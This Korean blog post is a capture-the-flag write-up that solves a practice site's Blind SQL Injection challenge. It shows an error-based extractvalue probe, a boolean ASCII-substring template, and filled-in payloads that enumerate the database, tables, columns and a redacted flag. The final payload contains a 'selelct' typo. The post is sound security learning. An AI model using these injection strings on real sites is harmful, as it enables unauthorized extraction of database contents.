워게임 문제풀이/Segfault

<Segfault> 워게임 문제풀이 [7편]-Blind SQL Injection

무너박사 2024. 5. 31. 21:18

<목표 : DB에 있는 flag 데이터를 찾아내라!>

->이번 문제는 Blind SQL Injection 을 연습하기 위한 목적이 강합니다.

 

-Blind SQLi 에 대한 기본적인 내용은 이 게시물을 참고하시면 됩니다.

https://jamesbexter.tistory.com/entry/SQL-InjectionSQLi

 

- 밑에 내용을 자동화 한 파이썬 코드 게시물은 해당 링크를 참조해주세요!

밑에 블라인드 SQLi 문제 파이썬으로 자동화 하는법

 

[Python] Python 을 이용한 SQLi 자동화

※주의 : 본 포스팅에서는 워게임중 SQL Injection 6 과 SQL Injection 3 내용을 담고있습니다! 지난 포스팅에서 Blind SQLi 덕분에 주화입마가 올뻔했다. 지난 포스팅 : https://jamesbexter.tistory.com/entry/Segfaul

jamesbexter.tistory.com


<1단계 : 탐색>

사이트에 접속하니 SQLi 연습 페이지가 뜬다.

기본적으로 SQLi 가 적용되는지 먼저 확인해보자

정상적인 입력

 

SQLi 구문 삽입

 

확인이 되었다.

이제 혹시 Error SQLi 가 사용가능한지 확인해보자.

 

넣어준 문구: normaltic' and extractvalue('1',(select database())) and '1'='1

 

입력을 하자 아예 존재하지 않는 아이디 인지도 안뜬다.

뭔가 오류가 났다는 뜻이다.

하지만 Error 창을 확인 하지못하는 것으로 봐선 Error SQLi 가 사용 불가능하다고 판단가능하다.

그러면 결국 우리는 Blind SQLi 를 해야한다.

 


<2단계 : Format 작성>

 

작성된 Format :    normaltic' and ((ASCII(substr((__SQL__),1,1)))>0) and '1'='1

 

이제 "__SQL__" 란에 우리가 쓰고싶은 SQL 질의문은 넣으면 된다!

그리고 아스키 코드 값 비교를 통해서 SELECT 문으로 추출된 결과를 유추해내면 된다!

 


<3단계 : DB명 추출>

 

SQL 질의문 : select database()

 

완성된 Format : normaltic' and ((ASCII(substr((select database()),1,1)))>0) and '1'='1

 

 

0 보다 비교해봤을때 존재하는것이라면 일단 db명이 추출되었다는 소리이다.

이제... 아스키코드 값으로 65~97 , 97~122 까지 값을 바꿔가면서.. db명을 추측하면 된다...

많은 노력끝에 DB명이 blindSqli 라는것을 알게되었다..

 


<4단계 :Table 명 추출>

SQL 질의문 : select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1

 

완성된 Format : normaltic' and ((ASCII(substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1),1,1)))>0) and '1'='1

 

이것또한 수많은 시간과 공을 들여

table 명 : flagTable , member ,plus_flagTable 이라는것을 알아냈다..

 


<5단계 : column 명 추출>

 

SQL 질의문 : select column_name from information_schema.columns where table_name='flagTable' limit 0,1

 

완성된 Format : normaltic' and ((ASCII(substr((select column_name from information_schema.columns where table_name='flagTable' limit 0,1),1,1)))>0) and '1'='1

 

마찬가지로 반복작업을 통해 column 명이 flag 라는것을 알수있었다.

 


<6단계 : 데이터 추출>

 

SQL 질의문 : selelct flag from flagTable limit 0,1

 

완성된 Format : normaltic' and ((ASCII(substr((selelct flag from flagTable limit 0,1),1,1)))>0) and '1'='1

 

여기서 시간이 매우많이 들었다.

flag 값 :   segfault{모자이크 처리~}

flag 값은 구했지만 flag 값을 하나하나 대입해보면서 구해야했다..


 

리뷰 : 글에선 드러나지 않았지만 심한 노가다를 했다.

대략 한시간동안 반복작업을 하다보니 목도 손목도 너무 아팠다.

당장 python 으로 자동화 툴을 만들어 볼 것이다.

모든 반복작업은 자동화가 될 수 있으므로 분명 가능할 것 이다....